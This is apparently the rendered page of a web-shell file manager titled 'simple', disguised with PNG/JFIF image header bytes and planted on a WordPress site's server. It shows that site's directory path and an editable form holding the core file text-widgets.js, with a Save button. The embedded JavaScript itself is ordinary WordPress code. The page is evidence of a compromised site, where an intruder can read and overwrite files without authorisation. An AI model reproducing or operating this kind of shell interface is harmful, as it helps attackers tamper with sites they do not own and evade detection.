�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.scheybal.com%2F'>www.scheybal.com</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.scheybal.com%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.scheybal.com%2Fhtdocs%2Fwp-admin%2F'>wp-admin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.scheybal.com%2Fhtdocs%2Fwp-admin%2Fjs%2F'>js</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.scheybal.com%2Fhtdocs%2Fwp-admin%2Fjs%2Fwidgets%2F'>widgets</a>/</p><hr><h3>✏️ Editing: text-widgets.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/**
 * @output wp-admin/js/widgets/text-widgets.js
 */

/* global tinymce, switchEditors */
/* eslint consistent-this: [ &quot;error&quot;, &quot;control&quot; ] */

/**
 * @namespace wp.textWidgets
 */
wp.textWidgets = ( function( $ ) {
	&#039;use strict&#039;;

	var component = {
		dismissedPointers: [],
		idBases: [ &#039;text&#039; ]
	};

	component.TextWidgetControl = Backbone.View.extend(/** @lends wp.textWidgets.TextWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.textWidgets.TextWidgetControl
		 * @augments   Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( &#039;Missing options.el&#039; );
			}
			if ( ! options.syncContainer ) {
				throw new Error( &#039;Missing options.syncContainer&#039; );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;

			control.$el.addClass( &#039;text-widget-fields&#039; );
			control.$el.html( wp.template( &#039;widget-text-control-fields&#039; ) );

			control.customHtmlWidgetPointer = control.$el.find( &#039;.wp-pointer.custom-html-widget-pointer&#039; );
			if ( control.customHtmlWidgetPointer.length ) {
				control.customHtmlWidgetPointer.find( &#039;.close&#039; ).on( &#039;click&#039;, function( event ) {
					event.preventDefault();
					control.customHtmlWidgetPointer.hide();
					$( &#039;#&#039; + control.fields.text.attr( &#039;id&#039; ) + &#039;-html&#039; ).trigger( &#039;focus&#039; );
					control.dismissPointers( [ &#039;text_widget_custom_html&#039; ] );
				});
				control.customHtmlWidgetPointer.find( &#039;.add-widget&#039; ).on( &#039;click&#039;, function( event ) {
					event.preventDefault();
					control.customHtmlWidgetPointer.hide();
					control.openAvailableWidgetsPanel();
				});
			}

			control.pasteHtmlPointer = control.$el.find( &#039;.wp-pointer.paste-html-pointer&#039; );
			if ( control.pasteHtmlPointer.length ) {
				control.pasteHtmlPointer.find( &#039;.close&#039; ).on( &#039;click&#039;, function( event ) {
					event.preventDefault();
					control.pasteHtmlPointer.hide();
					control.editor.focus();
					control.dismissPointers( [ &#039;text_widget_custom_html&#039;, &#039;text_widget_paste_html&#039; ] );
				});
			}

			control.fields = {
				title: control.$el.find( &#039;.title&#039; ),
				text: control.$el.find( &#039;.text&#039; )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( &#039;input change&#039;, function updateSyncField() {
					var syncInput = control.syncContainer.find( &#039;.sync-input.&#039; + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( &#039;change&#039; );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( &#039;.sync-input.&#039; + fieldName ).val() );
			});
		},

		/**
		 * Dismiss pointers for Custom HTML widget.
		 *
		 * @since 4.8.1
		 *
		 * @param {Array} pointers Pointer IDs to dismiss.
		 * @return {void}
		 */
		dismissPointers: function dismissPointers( pointers ) {
			_.each( pointers, function( pointer ) {
				wp.ajax.post( &#039;dismiss-wp-pointer&#039;, {
					pointer: pointer
				});
				component.dismissedPointers.push( pointer );
			});
		},

		/**
		 * Open available widgets panel.
		 *
		 * @since 4.8.1
		 * @return {void}
		 */
		openAvailableWidgetsPanel: function openAvailableWidgetsPanel() {
			var sidebarControl;
			wp.customize.section.each( function( section ) {
				if ( section.extended( wp.customize.Widgets.SidebarSection ) &amp;&amp; section.expanded() ) {
					sidebarControl = wp.customize.control( &#039;sidebars_widgets[&#039; + section.params.sidebarId + &#039;]&#039; );
				}
			});
			if ( ! sidebarControl ) {
				return;
			}
			setTimeout( function() { // Timeout to prevent click event from causing panel to immediately collapse.
				wp.customize.Widgets.availableWidgetsPanel.open( sidebarControl );
				wp.customize.Widgets.availableWidgetsPanel.$search.val( &#039;HTML&#039; ).trigger( &#039;keyup&#039; );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( &#039;.sync-input.title&#039; );
				control.fields.title.val( syncInput.val() );
			}

			syncInput = control.syncContainer.find( &#039;.sync-input.text&#039; );
			if ( control.fields.text.is( &#039;:visible&#039; ) ) {
				if ( ! control.fields.text.is( document.activeElement ) ) {
					control.fields.text.val( syncInput.val() );
				}
			} else if ( control.editor &amp;&amp; ! control.editorFocused &amp;&amp; syncInput.val() !== control.fields.text.val() ) {
				control.editor.setContent( wp.oldEditor.autop( syncInput.val() ) );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, changeDebounceDelay = 1000, id, textarea, triggerChangeIfDirty, restoreTextMode = false, needsTextareaChangeTrigger = false, previousValue;
			textarea = control.fields.text;
			id = textarea.attr( &#039;id&#039; );
			previousValue = textarea.val();

			/**
			 * Trigger change if dirty.
			 *
			 * @return {void}
			 */
			triggerChangeIfDirty = function() {
				var updateWidgetBuffer = 300; // See wp.customize.Widgets.WidgetControl._setupUpdateUI() which uses 250ms for updateWidgetDebounced.
				if ( control.editor.isDirty() ) {

					/*
					 * Account for race condition in customizer where user clicks Save &amp; Publish while
					 * focus was just previously given to the editor. Since updates to the editor
					 * are debounced at 1 second and since widget input changes are only synced to
					 * settings after 250ms, the customizer needs to be put into the processing
					 * state during the time between the change event is triggered and updateWidget
					 * logic starts. Note that the debounced update-widget request should be able
					 * to be removed with the removal of the update-widget request entirely once
					 * widgets are able to mutate their own instance props directly in JS without
					 * having to make server round-trips to call the respective WP_Widget::update()
					 * callbacks. See &lt;https://core.trac.wordpress.org/ticket/33507&gt;.
					 */
					if ( wp.customize &amp;&amp; wp.customize.state ) {
						wp.customize.state( &#039;processing&#039; ).set( wp.customize.state( &#039;processing&#039; ).get() + 1 );
						_.delay( function() {
							wp.customize.state( &#039;processing&#039; ).set( wp.customize.state( &#039;processing&#039; ).get() - 1 );
						}, updateWidgetBuffer );
					}

					if ( ! control.editor.isHidden() ) {
						control.editor.save();
					}
				}

				// Trigger change on textarea when it has changed so the widget can enter a dirty state.
				if ( needsTextareaChangeTrigger &amp;&amp; previousValue !== textarea.val() ) {
					textarea.trigger( &#039;change&#039; );
					needsTextareaChangeTrigger = false;
					previousValue = textarea.val();
				}
			};

			// Just-in-time force-update the hidden input fields.
			control.syncContainer.closest( &#039;.widget&#039; ).find( &#039;[name=savewidget]:first&#039; ).on( &#039;click&#039;, function onClickSaveButton() {
				triggerChangeIfDirty();
			});

			/**
			 * Build (or re-build) the visual editor.
			 *
			 * @return {void}
			 */
			function buildEditor() {
				var editor, onInit, showPointerElement;

				// Abort building if the textarea is gone, likely due to the widget having been deleted entirely.
				if ( ! document.getElementById( id ) ) {
					return;
				}

				// The user has disabled TinyMCE.
				if ( typeof window.tinymce === &#039;undefined&#039; ) {
					wp.oldEditor.initialize( id, {
						quicktags: true,
						mediaButtons: true
					});

					return;
				}

				// Destroy any existing editor so that it can be re-initialized after a widget-updated event.
				if ( tinymce.get( id ) ) {
					restoreTextMode = tinymce.get( id ).isHidden();
					wp.oldEditor.remove( id );
				}

				// Add or enable the `wpview` plugin.
				$( document ).one( &#039;wp-before-tinymce-init.text-widget-init&#039;, function( event, init ) {
					// If somebody has removed all plugins, they must have a good reason.
					// Keep it that way.
					if ( ! init.plugins ) {
						return;
					} else if ( ! /\bwpview\b/.test( init.plugins ) ) {
						init.plugins += &#039;,wpview&#039;;
					}
				} );

				wp.oldEditor.initialize( id, {
					tinymce: {
						wpautop: true
					},
					quicktags: true,
					mediaButtons: true
				});

				/**
				 * Show a pointer, focus on dismiss, and speak the contents for a11y.
				 *
				 * @param {jQuery} pointerElement Pointer element.
				 * @return {void}
				 */
				showPointerElement = function( pointerElement ) {
					pointerElement.show();
					pointerElement.find( &#039;.close&#039; ).trigger( &#039;focus&#039; );
					wp.a11y.speak( pointerElement.find( &#039;h3, p&#039; ).map( function() {
						return $( this ).text();
					} ).get().join( &#039;\n\n&#039; ) );
				};

				editor = window.tinymce.get( id );
				if ( ! editor ) {
					throw new Error( &#039;Failed to initialize editor&#039; );
				}
				onInit = function() {

					// When a widget is moved in the DOM the dynamically-created TinyMCE iframe will be destroyed and has to be re-built.
					$( editor.getWin() ).on( &#039;pagehide&#039;, function() {
						_.defer( buildEditor );
					});

					// If a prior mce instance was replaced, and it was in text mode, toggle to text mode.
					if ( restoreTextMode ) {
						switchEditors.go( id, &#039;html&#039; );
					}

					// Show the pointer.
					$( &#039;#&#039; + id + &#039;-html&#039; ).on( &#039;click&#039;, function() {
						control.pasteHtmlPointer.hide(); // Hide the HTML pasting pointer.

						if ( -1 !== component.dismissedPointers.indexOf( &#039;text_widget_custom_html&#039; ) ) {
							return;
						}
						showPointerElement( control.customHtmlWidgetPointer );
					});

					// Hide the pointer when switching tabs.
					$( &#039;#&#039; + id + &#039;-tmce&#039; ).on( &#039;click&#039;, function() {
						control.customHtmlWidgetPointer.hide();
					});

					// Show pointer when pasting HTML.
					editor.on( &#039;pastepreprocess&#039;, function( event ) {
						var content = event.content;
						if ( -1 !== component.dismissedPointers.indexOf( &#039;text_widget_paste_html&#039; ) || ! content || ! /&amp;lt;\w+.*?&amp;gt;/.test( content ) ) {
							return;
						}

						// Show the pointer after a slight delay so the user sees what they pasted.
						_.delay( function() {
							showPointerElement( control.pasteHtmlPointer );
						}, 250 );
					});
				};

				if ( editor.initialized ) {
					onInit();
				} else {
					editor.on( &#039;init&#039;, onInit );
				}

				control.editorFocused = false;

				editor.on( &#039;focus&#039;, function onEditorFocus() {
					control.editorFocused = true;
				});
				editor.on( &#039;paste&#039;, function onEditorPaste() {
					editor.setDirty( true ); // Because pasting doesn&#039;t currently set the dirty state.
					triggerChangeIfDirty();
				});
				editor.on( &#039;NodeChange&#039;, function onNodeChange() {
					needsTextareaChangeTrigger = true;
				});
				editor.on( &#039;NodeChange&#039;, _.debounce( triggerChangeIfDirty, changeDebounceDelay ) );
				editor.on( &#039;blur hide&#039;, function onEditorBlur() {
					control.editorFocused = false;
					triggerChangeIfDirty();
				});

				control.editor = editor;
			}

			buildEditor();
		}
	});

	/**
	 * Mapping of widget ID to instances of TextWidgetControl subclasses.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @type {Object.&lt;string, wp.textWidgets.TextWidgetControl&gt;}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( &#039;&gt; .widget-inside &gt; .form, &gt; .widget-inside &gt; form&#039; ); // Note: &#039;.form&#039; appears in the customizer, whereas &#039;form&#039; on the widgets admin screen.

		idBase = widgetForm.find( &#039;&gt; .id_base&#039; ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( &#039;.widget-id&#039; ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		// Bypass using TinyMCE when widget is in legacy mode.
		if ( ! widgetForm.find( &#039;.visual&#039; ).val() ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the .widget-content
		 * element because the contents of this element are essentially &quot;managed&quot;
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a &quot;flash of replaced DOM elements and re-initialized JS
		 * components&quot;, the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( &#039;&lt;div&gt;&lt;/div&gt;&#039; );
		syncContainer = widgetContainer.find( &#039;.widget-content:first&#039; );
		syncContainer.before( fieldContainer );

		widgetControl = new component.TextWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent&#039;s container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and an iframe can be embedded
		 * with TinyMCE being able to set contenteditable on it.
		 */
		renderWhenAnimationDone = function() {
			if ( ! widgetContainer.hasClass( &#039;open&#039; ) ) {
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( &#039;.editwidget &gt; form&#039; );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( &#039;.id_base&#039; ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Bypass using TinyMCE when widget is in legacy mode.
		if ( ! widgetForm.find( &#039;.visual&#039; ).val() ) {
			return;
		}

		fieldContainer = $( &#039;&lt;div&gt;&lt;/div&gt;&#039; );
		syncContainer = widgetForm.find( &#039;&gt; .widget-inside&#039; );
		syncContainer.before( fieldContainer );

		widgetControl = new component.TextWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the &#039;widget-updated&#039; event when saving a widget from
	 * the widgets admin screen and also via the &#039;widget-synced&#039; event when making
	 * a change to a widget in the customizer.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( &#039;&gt; .widget-inside &gt; .form, &gt; .widget-inside &gt; form&#039; );

		idBase = widgetForm.find( &#039;&gt; .id_base&#039; ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( &#039;&gt; .widget-id&#039; ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @return {void}
	 */
	component.init = function init() {
		var $document = $( document );
		$document.on( &#039;widget-added&#039;, component.handleWidgetAdded );
		$document.on( &#039;widget-synced widget-updated&#039;, component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( &#039;widgets&#039; !== window.pagenow ) {
				return;
			}
			widgetContainers = $( &#039;.widgets-holder-wrap:not(#available-widgets)&#039; ).find( &#039;div.widget&#039; );
			widgetContainers.one( &#039;click.toggle-widget-expanded&#039;, function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( &#039;widget-added&#039; ), widgetContainer );
			});

			// Accessibility mode.
			component.setupAccessibleMode();
		});
	};

	return component;
})( jQuery );
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.scheybal.com%2Fhtdocs%2Fwp-admin%2Fjs%2Fwidgets'>🔙 Back</a></p>